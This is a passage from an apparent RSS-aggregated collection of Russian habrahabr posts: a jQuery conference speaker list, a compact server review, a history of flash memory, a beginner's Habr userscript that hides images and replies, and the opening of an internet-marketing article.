Участники познакомятся со всей мощью Web Worker API при помощи удобного jQuery враппера, а также смогут увидеть в режиме реального времени, как большие ресурсоемкие задачи могут быть разделены среди физических процессоров, чтобы усилить производительную мощность клиентской машины.
Scott Gonzalez (США) – project lead
Веб-разработчик из штата Пенсильвания, США. В качестве руководителя проекта jQuery UI прилагает множество усилий для поддержания эффективности, стабильности и доступности библиотеки, а также занимается стратегическим планированием проекта, чтобы соответствовать изменяющимся требованиям сообщества. Скотт взаимодействует с разработчиками браузеров, чтобы сделать веб-пространство лучше для всех, не только для пользователей jQuery.

Тема выступления: Будущее развитие jQuery UI и jQuery Mobile
(The future of jQuery UI and jQuery Mobile)

В этом году планируются большие изменения в пользовательском интерфейсе jQuery и в jQuery Mobile. В своем выступлении Скотт расскажет, почему это стало необходимо, какие именно изменения произойдут, и как провести интеграцию обоих проектов наиболее безболезненно для разработчиков.
Alex McPherson (США) – software engineer
Разработчик компании Quick Left, США. В прошлом работал специалистом по финансово-информационному дизайну в компаниях, входящих в Fortune-500. Преподаватель языков JavaScript и Ruby в Университете Колордао, консультант по Backbone.js, спикер многочисленных конференций. В свободное от программирования и преподавания время катается на горном велосипеде и дегустирует коктейли.

Тема выступления: Технические нюансы $.Deferred() ( Technical about $.Deferred())
Отложенные действия – это сравнительно новый функционал в библиотеке jQuery. В выступлении вы услышите о семи интересных и эффективных способах использовать инструмент jQuery Deferred в асинхронных архитектурах JavaScript. Спикер продемонстрирует семь примеров типичного кода и расскажет о возможных проблемах в их написании. После этого с помощью инструментов Deferred код будет реорганизован, и станет видно, насколько проще становится понимание и обслуживание кода. Паттерны, которые вы узнаете из этого выступления, будут полезны во многих областях – от простых элементов сайта до сложных и крупных объектов.
Кантор Илья (Россия) — Frontend-разработчик и тренер, javascript.ru
В 2005-2006 работал над фреймворком Dojo Toolkit, сначала присылал свои патчи, потом как член команды с коммит-доступом.
В 2007 году создал сайт javascript.ru. В 2011 году опубликовал учебник learn.javascript.ru и начал вести курсы по профессиональной JavaScript-разработке.
jQuery использует с 2006 года, сабмитил небольшие патчи к ней.

Тема выступления: Продвинутое использование событий в jQuery
— Возможности событий jQuery, которых нет в браузерных событиях
— Событийная инфраструктура jQuery
— Специальные события
— Утечки памяти, связанные с событиями, и как их избежать
— События где угодно

Dave Methvin (США) – президент jQuery Foundation и ведущий разработчик ядра jQuery
Член команды jQuery с первого выпуска библиотеки в 2006 году. Также является веб-разработчиком и консультантом по программному обеспечению для крупных компаний, специализирующихся на веб-оптимизации производительности. Главный спикер конференции jQuery Russia.
В программе будет 3 потока выступлений на русском и английском языках (с синхронным переводом). Есть два варианта участия в конференции: вход и доступ к онлайн-трансляции: http://jquery.itmozg.ru/register

У всех желающих еще есть возможность стать спикером уникального события #jQueryRussia. Присылайте вашу заявку на http://jquery.itmozg.ru/report.



Айти-Событие в социальных сетях:

Вконтакте / Twitter / Facebook / Linkedin

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


Компактный сервер ETegro Hyperion ES200 G4


Нашей основной продукцией являются сервера в стоечном исполнении, но мы помним и о существовании мелких компаний и небольших офисов, которым зачастую нужен один маленький сервер. И сегодня мы бы хотели представить вашему вниманию именно такую модель: ETegro Hyperion ES200 G4.



Но прежде чем начать знакомство с корпусом, сделаем небольшое отступление. Мы хорошо понимаем, что все хаброюди с детства привыкли «крутить» компьютеры, и каждый из вас соберет лучше и дешевле. Но практика показывает, что в мире довольно много компаний, которым удобнее купить готовый продукт с гарантией, переложив решение технических проблем на чужие плечи. Для них эта заметка может быть наиболее интересна, всех же остальных мы сразу просим относиться к ней как к нашему взгляду на то, как должен выглядеть компактный пьедестальный сервер. И, к слову, мы с удовольствием услышим ваши предложения по его улучшению и серьезно отнесемся к критике.

Ну а теперь – .



Мы не стали мудрить с обликом корпуса или вносить в него какие-то украшения — ES200 G4 выглядит сугубо утилитарно, как самый обычный системник под небольшую материнскую плату. Если говорить о его размерах, то он лишь чуть больше, чем стандартные NAS-сервера, в ассортименте представленные на рынке. Его удобно установить на рабочем столе в небольшом офисе, высота корпуса всего 27 см.





Вся передняя панель представляет собой одну большую дверцу, затянутую мелкой сеткой. На ней расположились привычные светодиоды и замок. Конечно, вряд ли дети полезут тыкать пальцами в кнопочки сервера, как это обычно бывает с домашними компьютерами, но все же некоторым пригодится защита от несанкционированного доступа к жестким дискам.

За панелью расположились два USB порта. Вряд ли кто-то будет использовать их настолько часто, чтобы потребовалось вынести их за дверцу, но сам факт их существования наверняка порадует системных администраторов, которым может случиться иметь дело с сервером напрямую. Здесь же, в левом верхнем углу, и кнопка питания: за замком надежнее, никто «случайно» не тыкнет в кнопочку.







Большую часть передней панели занимает корзина на 4 жестких диска. Сервер хоть и маленький, но все же сервер, поэтому для дисков реализовано горячее подключение. Оставшееся пространство передней панели занято вентиляционной решеткой – охлаждение никогда не будет излишним. Разъемы, конечно, универсальные и поддерживают как SATA, так и SAS-диски, но нам кажется, что подавляющее большинство выберет именно первый вариант. Сюда в нашем конфигураторе вы можете заказать установку дисков объемом от 1 до 4 ТБ, что даст до 12 ТБ доступного пространства при использовании RAID5. Вряд ли кому понадобится больше от столь небольшого сервера, правда?



А вот задняя панель на удивление проста и неказиста. Блок питания приютился сверху, внизу небольшая планка с портами, один слот для низкопрофильной платы расширения и… все. Набор разъемов несколько отличается от привычного как для серверов, так и для обычных материнских плат: в наличии два гигабитных порта Ethernet с поддержкой TOE, 4 порта USB 2.0 и разъем DVI для подключения монитора, если в таком вдруг возникнет потребность.



На что сразу все обращают внимание, заглянув внутрь корпуса – так это на посадочное место для 2,5-дюймового накопителя, приютившееся на боковой панели корзины для дисков. Как, наверное, многие уже заметили, мы являемся строгими приверженцами концепции, что ОС должна располагаться на отдельном физическом жестком диске. И мы откровенно всем рекомендуем для этих целей пользоваться SSD – под установку серверной системы эти накопители сейчас подходят как нельзя лучше.





Выбор доступных плат расширения для единственного слота достаточно богат. Во-первых, сюда ставятся SAS HBA или SAS-RAID контроллеры производства LSI. Ну а для тех, кто строит массив на SATA-дисках средствами ОС, но при этом нуждается в большем количестве портов, мы предлагаем второй вариант: двух- и четырехпортовые контроллеры Gigabit Ethernet.





Несложно догадаться, что основу сервера составляет материнская плата формата mini-ITX. Ну, а теперь мы озвучим тот момент, чем этот сервер отличается от вышеупомянутых многочисленных NAS, почему он с нашей точки зрения все же заслуживает звания сервера. Его материнская плата построена на полноценном чипсете Intel C204 и поддерживает установку процессоров Intel Core i3 2100 или Intel Xeon E3 1225/1245 V2. Дополняет их до 8 ГБ серверной памяти DDR3 с коррекцией ошибок ECC.





Традиционной проблемой столь небольших корпусов является качество их охлаждения. Этот сервер вряд ли будет располагаться в выделенной серверной комнате, поэтому нам необходимо было обеспечить хорошее охлаждение и при этом не сделать его очень шумным. Вой высокооборотистых вентиляторов небольшого диаметра вовсе не является тем звуком, под который хорошо работается?.. Поэтому в данном случае мы использовали один сравнительно тихоходный вентилятор большого диаметра, который прокачивает воздух через корзину с жесткими дисками и при помощи специального пластикового воздуховода направляет поток воздуха на материнскую плату, прямиком к процессору и планкам памяти. На наш взгляд решение получилось хоть и несколько громоздкое на вид, но крайне эффективное. Дополнительным плюсом является то, что использование стандартного вентилятора и крепления на защелках позволяет с легкостью его заменить.

Ну вот, пожалуй, и все, что мы хотели рассказать о ETegro Hyperion ES200 G4. Как всегда мы с удовольствием ответим на ваши вопросы, а в следующий раз поговорим о достаточно необычном сервере – полноценном готовом кластере на две ноды, разместившимся в одном корпусе.

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


Краткий экскурс в историю флэш-памяти

Многие современные технологии мы уже привыкли воспринимать как должное, не особо задумываясь, как они работают, что за ними стоит, какова история их развития. Касается это в том числе и компьютеров. Я уже писал об истории развития технологий хранения данных, наглядно показывающую эволюцию в этой отрасли. На этот раз я решил рассказать подробней про одну из технологий, активно используемых компанией LSI, про твердотельную, или SSD (Solid State Drive) память.


Используется она повсеместно, начиная с микросхемы, хранящей код BIOS компьютера (кто постарше — тот помнит Win.CIH, выводивший компьютеры из строя, стирая содержимое этой микросхемы) и заканчивая ультрасовременными гибридными контроллерами RAID с функцией кэширования, такие как LSI Nytro, о которой мы рассказывали). Не говоря уже про разные внешние накопители, без которых, пожалуй, был бы невозможен прогресс современной техники: каким анахронизмом выглядят сейчас цифровые камеры Sony Mavica MVC-FD5 (и ряд других моделей), сохранявшие изображения на 3.5 дюймовые дискеты.



Начиналась история флэш-памяти еще в середине 20 века, именно тогда, в подразделении Arma корпорации American Bosch Arma, ученый-баллистик и пионер цифрового компьютинга Вэн Цинг Чоу (Wen Tsing Chow) работал над задачей улучшения блоков памяти координат бортового компьютера ракетной системы Atlas E/F. Разработанное им решение несколько лет являлось секретным, так как Атлас стоял на вооружении американского аналога РВСН, но позже технология была рассекречена, и технология, названая PROM (programmable read-only memory) получила широкое распространение.

Технология достаточно проста по своей сути: такая память представляет собой пересечение двух массивов проводников, образующих координатную сетку. В узлах этой сетки проводники замкнуты специальной перемычкой. Когда нужно определить значение ячейки по заданным координатам, достаточно проверить, проходит ли ток по пересечению нужных проводников. Наличие тока означает, что перемычка цела, и соответствует значению 1, обратная ситуация — кодирует 0. По-умолчанию все ячейки имели значение 1. Несложно догадаться, что программирование таких микросхем (называвшееся прожиганием) происходило очень просто: к тем ячейкам, где нужны были нули, подавалось высокое напряжение, испарявшее перемычку. Таким образом, получались микросхемы с возможностью одноразовой записи. На самом деле, «дозаписать» микросхему было возможно, но только в сторону стирания перемычек. Также в силу несовершенства технологий перемычка могла восстановиться, искажая значения. Для борьбы с изменением данных в обе стороны использовали контрольные суммы. Кроме того, к недостаткам микросхем такого типа относилась весьма маленькая емкость.

Но были у ППЗУ (русский перевод аббревиатуры) и достоинства: высокая скорость доступа к данным и устойчивость к электромагнитным импульсам, столь ценная для мест, где ядерные взрывы — не редкость.

Следующий шаг в технологиях постоянного хранения данных был сделан в недрах компании Intel. Исследуя дефекты микросхем, в которых затворы транзисторов оказались разрушенными, Довом Фроманом (Dov Frohman-Bentchkowsky) был изобретен новый тип памяти EPROM. Каждая ячейка такой памяти представляет собой полевой транзистор с двумя затворами: первый управляющий, второй — плавающий, который не имеет связи с другими элементами схемы. В роли изоляции выступает слой оксида кремния.



Для запоминания данных нужно выбрать нужные ячейки и подать на них более высокое напряжение, это позволит электронам за счет более высокой энергии пройти слой изоляции и аккумулироваться на затворе (этот эффект туннелирования носит название Фаулера — Нордгейма). После того, как управляющее напряжение снимается, электроны оказываются «заперты» на затворе, сохраняя информацию надолго. Главная проблема в этом случае — невозможность электрически стереть информацию. Для их стирания используют мощные ултрафиолетовые лампы, освещающие микросхему через специальное окошко из кварцевого стекла. Ультрафиолет вызывает ионизацию в изолирующем слое оксида, заряд утекает и данные оказываются стертыми.

Такие микросхемы использовались в роли микросхем БИОС в старых компьютерах. Окно стирания обычно заклеивалось наклейкой с логотипом производителя, чтобы защитить микросхему от самопроизвольного стирания под действием солнечного света. Такие микросхемы, например, использовались в компьютерах ZX Spectrum (русские варианты Поиск, Magic). Именно эти компьютеры (многие помнят скрипуче-модемный звук, издаваемый магнитофонными кассетами с записанными на них играми для этих ПК) стали для многих современных инженеров и специалистов первыми компьютерами, с которых начался их путь в IT.

В 1978 году, инженер компании Intel Джордж Перлегос (George Perlegos) представил микросхему Intel 2816, схожую по технологии с EPROM, но за счет более тонкого слоя изоляции, микросхема могла стирать свое содержимое без использования ультрафиолетового облучения. Это стало началом технологии ЭСППЗУ или по-английски EEPROM (Electrically Erasable Programmable Read-Only Memory). Главными недостатками микросхем, выполненных по данной технологии являются ограниченное количество циклов записи (хотя современные чипы довели это количество где-то до миллиона) и самопроизвольное стирание данных (для нынешних микросхем промышленного класса, гарантируется хранение данных минимум 3 года).

Так как в микросхемах ЭСППЗУ для стирания нужно было создать электрическое поле большой напряженности в достаточно тонком слое диэлектрика, это привело к невозможности создания микросхем перезаписываемой памяти с высокой степенью компоновки. Это, в свою очередь, привело к развитию двух классов устройств: емких микросхем с однократной записью без возможности стирания и перезаписываемых микросхем высокой емкости. Проблема была решена инженером компании Toshiba Фудзио Масуокой, название его открытию дал его коллега Сёдзи Ариидзуми, которому процесс стирания напомнил фотовспышку. Как не сложно догадаться, назвални они эти микросхемы flash-memory (флэш-память). Изобретение было представлено публике в 1984 году, а в 1988 — компания Intel представала коммерческие чипы памяти, построенные на принципе NOR-флеш, а в 1989 году компанией Toshiba была анонсирована NAND память.

В качестве элементов памяти, во флэш используются все те же полевые транзисторы с плавающим затвором, при этом для стирания и записи используется повышение напряжения, вызывающее уже знакомый нам эффект туннелирования. Главное отличие микросхем flash состоит в том, что чтение, запись и стирание осуществляются большими блоками, при этом блок записи по размерам не меньше блока чтения, а блок стирания — всегда больше чем блок записи. Этим обусловлена необходимость объединять ячейки памяти в иерархическую структуру, обычно: блоки — сектора — страницы.

Микросхемы, в которых одна ячейка хранит один бит информации стали называть Single-Level Cell или SLC, а их альтернативу, в которой каждая ячейка сохраняет два бита информации за счет возможности хранения 4 уровней заряда, стали называть Multi-Level Cell или MLC. Таким образом, MLC чипы получаются дешевле SLC, но работают медленней, и менее надежны. В последнее время можно увидеть также аббревиатуру eMLC (Enterprise class MLC). Обычно так обозначают устройства, имеющие повышенные по сравнению с MLC скоростные характеристики чтения-записи, а также увеличенный срок службы. Анализируя ценовые характеристики, современные eMLC стоят примерно в два раза дешевле и лишь незначительно уступают по скорости и надежности устройствам, построенным на базе SLC.

Основная разница между NOR и NAND состоит в компоновке микросхем. NOR использует классическую матрицу строк и столбцов, в пересечении которых находятся ячейки, NAND — трехмерный массив. В этом случае можно сильно увеличить площадь компоновки, но за это придется «платить» усложнением алгоритмов доступа к ячейкам. Отличаются и скорости доступа, так, например, для NOR скорость чтения составляет десятки наносекунд, для NAND — десятки микросекунд.



Основная область применения NOR — микросхемы небольшого объема, но с повышенными требованиями к надежности хранение: микросхемы начальной загрузки компьютеров, встраиваемая память однокристальных контроллеров и т.п. NAND — это традиционные хранилища данных максимального объема: памяти, SSD диски и так далее. В случаях использования NAND обычно применяется избыточность хранения данных и контрольные суммы для защиты от сбоев. Так же обычно микросхемы оснащаются «запасными» блоками, вступающими в работу взамен тех, что уже «износились».

Современные флэш-накопители не возможны без использования сервисных микросхем, управляющих хранением данных на чипах NAND. Эти микросхемы получили название FSP (Flash Storage Processor) или процессоры, управляющие хранением на флэш-памяти. Компания SandForce (ныне подразделение LSI), является лидером по производству такого класса микросхем. Интересно, что вычислительная мощность таких процессоров очень и очень высока. Современное поколение имеет в своем составе 2 ядра, имеет возможность защиты (с подсчетом проверочных сумм) данных, похожей на то, что мы обычно называем RAID 50/60 и управляет процессами сбора цифрового «мусора», следит за равномерным износом ячеек памяти, выполняет другие сервисные функции. С введением такого интеллектуального управления NAND-памятью, современные устройства имеют прогнозируемый срок службы и программируемую надежность. Имея статистические данные, очень легко сделать SSD, обладающий заданными параметрами производительности и надежности. Подобные сервисные микросхемы имеют длительные циклы разработки, и сейчас разрабатываются чипы, которые будут работать с микросхемами флэш-памяти, которые будут производиться только через 2-3 года.



Кстати, до сих пор можно встретить достаточно распространенное заблуждение, что при достижении предела по записи, устройства SSD умирают с потерей данных. Это не так. При достижении определённых лимитов по перезаписи, сначала администратору сервера высылаются предупреждения о скором окончании срока службы устройства, а при достижении критического порога, запись на устройство прекращается, а само устройство переходит в режим READ ONLY, только для чтения. Все современные контроллеры хранения умеют работать с этим функционалом SSD, а пользователям SSD всего лишь необходимо приобретать устройства, предназначенные для их класса задач. Если это сервер, то нужно покупать SSD промышленного уровня, предназначенные для работы в режиме 24x7, если это ноутбук или десктоп, подойдут и более дешевые устройства.



Итак, современные SSD или флэш-устройства представлены сегодня в форматах SD, USB-flash, SATA(SAS) SSD – в тех же 2.5’’ и 3.5’’ форм-факторах, что и жесткие диски HDD. В мире серверов набирает обороты PCIe-SSD – формат, когда SSD смонтированы на плате, подключаемой непосредственно в PCI-слот.

Nytro WarpDrive

Для кэширования и бездисковой загрузки SSD монтируются на платы RAID-контроллеров.
Nytro MegaRAID

Внешние системы хранения уже несколько лет предлагают в виде опции SSD вместо HDD. Кроме этого, есть и специальные внешние системы хранения данных на флэш-технологиях, например, Violin и Ramsan.

Вот краткий экскурс в историю флэш-памяти. «За бортом» осталось много интересных вопросов, начиная с современных файловых систем, разрабатываемых с учетом особенностей флэш-памяти, и заканчивая будущими разработками, обещающими массу интересного. Будем надеяться, что рассказ вам понравился, и мы еще вернемся к этой теме в будущем.

По материалам личного опыта, внутренних ресурсов компании LSI (SandForce), ресурсов How Staff Works, Википедии, курсов MIT.

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


[Из песочницы] Как я учился на своих хотелках

Большинство наверняка начинали свой путь с чтения книжек и выполнения тестовых задачек, иной раз выискивая на профильных форумах варианты решения/улучшения. Повторялись одни и те же демки в разных вариациях, что сводилось к ленивому гуглению и скорейшему прохождению всех тестов ради перехода к изучению следующей главы, статьи и т.д. Я решил действовать как настоящий самурай — усложнить себе задачу придумыванием какой-нибудь хотелки и по ходу дела изучать потребовавшуюся к изучению матчасть.

Вначале искал вдохновения в тестовых задачках изучаемого курса по основам javascript, однако вскоре решил искать его на просторах часто посещаемых ресурсов. Так и был выбран Хабр.
Первой посетила идея прятать все картинки в постах и комментариях, так как зачастую они только мешали. Но кнопка для их отображения все же не помешала бы.
Загляну немного вперед и скажу, что почти сразу я пришел к необходимости разбиения кода на логические блоки, которых я выделил три — подготовка к работе, работа с изображениями, работа с ответами к комментариям. Каждому блоку был присвоен уровень сложности и начать я решил с того, что проще для закрепления ранее изученного материала и постепенного возрастания сложности задач.
Как прятать изображения долго не думал — использовать свойство «display: none» при загрузке страницы и по нажатию на кнопку возвращать свойство «display: block» для выбранных элементов. По DOM-у я проходился в поисках заранее подсмотренных в отладчике элементов, учитывая разные варианты вложенности тега img. Первый блок, который прятал все требуемые элементы, выглядел так:

<code class="javascript">    function initialHide() {

        function hideReply() {
            var replies = document.querySelectorAll('.reply_comments');
            for (var r = 0; r < replies.length; r++) {
                var reply = replies[r];
                reply.style.display = 'none';
            }
        }
        hideReply();

        function hideImages() {
            var images = document.querySelectorAll(".content > img, .content > div > img, .content > div > div > img, .content > a > img, .content > a > div > img, .content > table > tbody > tr> td> a > img, .content > table > tbody > tr> td> img, .content > ul > li > img, .content > ul > li > table > tbody > tr> td> img, .message > a > img, .message > img, .sidebar_right > .banner_300x500, .sidebar_right > #htmlblock_placeholder");
            for (var m = 0; m < images.length; m++) {
                var image = images[m];
                image.style.display = "none";
            }
        }
        hideImages();

    }
</code>

Теперь нужно было создать кнопку и применить к ней стили, ведь хотелось нативного вида как у хабра.
Тут я почитал о разных вариантах и набрел на неоднозначную статью. Вот что получилось:

<code class="javascript">    function imgPosts() {

        var imgs = document.querySelectorAll(".content > img, .content > div > img, .content > div > div > img, .content > a > img, .content > a > div > img, .content > table > tbody > tr> td> a > img, .content > table > tbody > tr> td> img, .content > ul > li > img, .content > ul > li > table > tbody > tr> td> img, .message > a > img, .message > img");
        var button = document.createElement("input");
        button.type = "button";
        button.className = "habraimage";
        button.value = "< Показать изображения";

        document.querySelectorAll(".main_menu")[0].appendChild(button);



        button.onclick = function () {

            for (var x = 0; x < imgs.length; x++) {
                var img = imgs[x];
                img.style.display = (img.style.display != 'none' ? 'none' : 'block');
            }

        };

        function addCSSRule(sheet, selector, rules) {
            if (sheet.insertRule) {
                sheet.insertRule(selector + "{" + rules + "}");
            } else {
                sheet.addRule(selector, rules);
            }

        }


        addCSSRule(document.styleSheets[0], ".habraimage", "position:fixed; right: 6%; z-index: 1; height: 2.45em; -webkit-border-radius: 6px; -moz-border-radius: 6px; border-radius: 6px; background-image: -webkit-linear-gradient(top, #eeeeee, #e1e1e1); background-image: linear-gradient(top, #eeeeee, #e1e1e1); background-image: -moz-linear-gradient(top, #eeeeee, #e1e1e1); background-repeat: repeat-x; border: 1px solid #d9d8d8; border-color: #d9d8d8 #cccbcb #aeaeae; text-shadow: 0 1px 0px rgba(255, 255, 255, 0.8); -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 1), 0px 1px 7px rgba(177, 180, 199, 1); -moz-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 1), 0px 1px 7px rgba(177, 180, 199, 1); box-shadow: inset 0 1px 0 rgba(255, 255, 255, 1), 0px 1px 7px rgba(177, 180, 199, 1);");

        addCSSRule(document.styleSheets[0], ".habraimage:hover", "background-color: #fcfcfc !important; background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#fcfcfc), to(#e8e8e8));background-image: -webkit-linear-gradient(top, #fcfcfc, #e8e8e8); background-image: linear-gradient(top, #fcfcfc, #e8e8e8); background-image: -moz-linear-gradient(top, #fcfcfc, #e8e8e8);background-repeat: repeat-x; text-decoration: none;");
    }
</code>

Ремарка по поводу метода для работы со стилями — IE в планах был сразу, просто места под виртуальную машину для тестов не осталось на маленьком ssd.

Следующий блок был самым сложным и, одновременно, интересным. Нужно было не только скрывать ответы для каждого комментария, но еще и учитывать отсутствие ответов, чтобы не вводить в ступор пользователя. При создании кнопки учитывалось количество ответов и если оно было равно нулю, то кнопка для бока с таким комментарием не создавалась. Также количество ответов использовалось для отображения в теле кнопки. Но просто число не покажешь, нужно добавить существительное «ответ» и желательно склонять его в зависимости от числительных. Тут я начал было писать велосипед, но вовремя опомнился и подумал, что скорее всего это уже давно решили без меня. Все верно, решение быстро нашлось:

<code class="javascript">            function declOfNum(number, titles) {
                cases = [2, 0, 1, 1, 1, 2];
                return titles[(number % 100 > 4 && number % 100 < 20) ? 2 : cases[(number % 10 < 5) ? number % 10 : 5]];
            }
</code>

Ну а результатом стал третий блок, который отвечал за скрытие/отображения дерева ответов к комментарию с помощью кнопки, на которой отображалось текущее количество ответов для каждого комментария:

<code class="javascript">    hideReplies();

    function hideReplies() {

        function getChildrenByClassName(el, className) {
            var children = [];
            for (var i = 0; i < el.childNodes.length; i++) {
                if (el.childNodes[i].className == className) {
                    children.push(el.childNodes[i]);
                }
            }
            return children;
        }

        function addBtn() {
            var comments = document.querySelectorAll(".comments_list > .comment_item"),
                comment, combody;

            function declOfNum(number, titles) {
                cases = [2, 0, 1, 1, 1, 2];
                return titles[(number % 100 > 4 && number % 100 < 20) ? 2 : cases[(number % 10 < 5) ? number % 10 : 5]];
            }

            for (var i = 0; i < comments.length; i++) {
                comment = comments[i];
                var replies = comment.querySelectorAll('.reply_comments .comment_body');
                if (replies.length > 0) {
                    combody = getChildrenByClassName(comment, 'comment_body')[0];
                    if (combody) {
                        var btn = document.createElement("input");
                        btn.type = "button";
                        btn.className = "hidereplies";
                        btn.value = replies.length + declOfNum(replies.length, [' ответ', ' ответа', ' ответов']);
                        combody.appendChild(btn);
                    }
                }
            }

            function addCSSRule(sheet, selector, rules) {
                if (sheet.insertRule) {
                    sheet.insertRule(selector + "{" + rules + "}");
                } else {
                    sheet.addRule(selector, rules);
                }

            }

            addCSSRule(document.styleSheets[0], ".hidereplies", "height: 2em; margin-bottom: 2em; border-radius: 6px; background-image: -webkit-linear-gradient(top, #eeeeee, #e1e1e1); background-image: -o-linear-gradient(top, #eeeeee, #e1e1e1); background-image: linear-gradient(top, #eeeeee, #e1e1e1); background-image: -moz-linear-gradient(top, #eeeeee, #e1e1e1); background-repeat: repeat-x; border: 1px solid #d9d8d8; border-color: #d9d8d8 #cccbcb #aeaeae; text-shadow: 0 1px 0px rgba(255, 255, 255, 0.8); -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 1); -moz-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 1); box-shadow: inset 0 1px 0 rgba(255, 255, 255, 1);");

            addCSSRule(document.styleSheets[0], ".hidereplies:hover", "background-color: #fcfcfc; background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#fcfcfc), to(#e8e8e8));background-image: -webkit-linear-gradient(top, #fcfcfc, #e8e8e8); background-image: linear-gradient(top, #fcfcfc, #e8e8e8); background-image: -moz-linear-gradient(top, #fcfcfc, #e8e8e8);background-repeat: repeat-x; text-decoration: none;");

            addCSSRule(document.styleSheets[0], ".hidereplies:active", "-webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.2); -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.2); box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.2); background: #e1e1e1 !important; border: 1px solid #a4a7ac; border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25); border-color: #a4a7ac #d2d3d4 #e1e1e1; text-shadow: 0 1px 1px rgba(255, 255, 255, 0.5);");

        }
        addBtn();


        function hideR() {
            var buttons = document.querySelectorAll(".hidereplies");

            for (a = 0; a < buttons.length; a++) {
                var btn = buttons[a];
                btn.onclick = function (event) {
                    var btn = event.currentTarget;
                    var comments = btn.parentNode.parentNode.querySelectorAll(".reply_comments");
                    for (var y = 0; y < comments.length; y++) {
                        var reply = comments[y];
                        reply.style.display = (reply.style.display != 'none' ? 'none' : 'block');
                    }
                };
            }
        }
        hideR();


    }
</code>

А обернул я все блоки в анонимную самовызывающуюся функцию.

Результат выложил на гитхаб.

Под катом можно посмотреть как Хабр выглядит после установки плагинаimage

image

image

image


С созданием браузерных расширений в тонкости не вникал и сделал их после чтения официальной документации для разработчиков для Chrome и Safari. Чтобы установить в Chrome, придется скачать расширение и затем перетащить в открытый пункт настроек Расширения.

Всем, собравшимся с последними силами и дочитавшим до конца — спасибо. Прошу извинить за ляпы, портянки кода и некий сумбур. Надеюсь получилось поделиться опытом, главный урок которого — с интересными задачами учиться продуктивнее и веселее. Я только начинаю и буду очень рад конструктивной критике. Также с удовольствием скооперируюсь с кем-нибудь для продолжения работы над этим скриптом и парой остальных в ближайших планах — буду рад как опытному наставнику, так и такому же начинающему как я :)

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


Цепь эффективных интернет-продаж: маркетинг

Среди звеньев цепочки эффективных интернет продаж, звено “маркетинг и предложение” пожалуй является самым неочевидным и недооцененным.

Кто-то до сих пор верит в то, что увеличить продажи можно исключительно увеличив трафик. Другие уже обращают внимание на интерфейс сайта и считают, что стоит поменять цвет кнопок, сделать новый дизайн и продажи возрастут в разы. Конечно, эти примеры утрированы, но мало кто начинает работу над повышением своих продаж с предложения. Как мы говорили ранее, успешная цепочка продаж состоит из четырех неразрывных компонентов. И именно предложение является ее первым звеном. Маркетинг помогает ответить на вопрос: какое предложение будет наиболее востребовано потребителями, каков состав и потребности аудитории и какими способами можно воздействовать на эту аудиторию.

Зачем нужен маркетинг для эффективного сайта

Начнем с аналогии. Сайт — это менеджер по продажам, который встречается со своим потенциальным клиентом. Он по-деловому одет, доброжелателен и с ним легко общаться. Шаг за шагом в процессе диалога менеджер приближает своего клиента к принятию решения о сотрудничестве. Его задача — произвести впечатление и найти такие слова, которые помогут клиенту определиться и сделать заказ. И если подход найден, установлено взаимопонимание, и потребитель осознает реальные выгоды от работы с компанией, то скорее всего такая встреча окончится подписанием договора. Это был хороший менеджер.

Но бывает и по-другому. К клиенту приезжает красивая девушка или молодой человек, которые производят сильное первое впечатление и всячески располагают к себе. Но они не могут построить общение с потребителем. Не пытаются понять, что хочет собеседник и как можно ему помочь. Не могут полноценно ответить на банальные вопросы клиента, не говоря уже о таких как «почему у вас дороже» или «почему мне стоит купить именно у вас». Они просто выучили, чем занимается компания, и теперь сухо рассказывают это своему собеседнику. Как вы думаете, каков будет итог такой встречи? Очевидно, отрицательный.

Подведем итог. Основные факторы, влияющие на успешность встречи:

  • Деловой внешний вид, не броский, но со вкусом;
  • Положительный настрой и готовность к общению;
  • Умение разговорить потребителя и выяснить, что ему действительно нужно и важно;
  • Имея эту информацию, построить такую логику общения, которая позволит потребителю самому прийти к осознанию выгод от совместной работы;
  • Преподнести свое предложение так, чтобы оно идеально подходило к запросам покупателя, которые были выяснены ранее;
  • Иметь четко сформулированные преимущества перед конкурентами.

Как ни странно, но хороший сайт должен работать точно также. У него должен быть внешний вид, который бы стимулировал дальнейшее взаимодействие: не слишком броский, но со вкусом, вызывающий положительное первое впечатление. Содержание и структура сайта должны предлагать такую логику взаимодействия с посетителем, которая бы помогала принять решение о сотрудничестве. Посетителю должно демонстрироваться решение именно его проблемы, при этом каждый должен четко понять и увидеть, чем данное предложение отличается от конкурентов.

Обратите внимание, что все факторы успеха менеджера, кроме коммуникабельности и внешнего вида будут работать настолько успешно, насколько хорошо он смог узнать потребности заказчика. Сам по себе сайт так сделать не может, но, очевидно, что если смириться с этим, то есть риск превратиться в того самого красивого менеджера, который производит впечатление, но при этом сухо зачитывает перечень услуг и не продает. Единственная возможность подстроиться под своего потребителя и узнать про него больше — это провести исследование своей аудитории, ее потребностей и мотиваций. Процесс маркетинга как раз и направлен на последовательное решение этих задач. Используя данные, полученные в результате маркетингового исследования, необходимо разработать такой сайт, который наиболее точным образом отвечал бы потребностям выявленной целевой аудитории.

На что и как оказывает свое влияние маркетинг

Знание своей аудитории и ее потребностей — ничто, если не уметь их правильно применять. Эти данные обязательно должны найти свое отражение в следующих компонентах сайта.

Внешний вид сайта
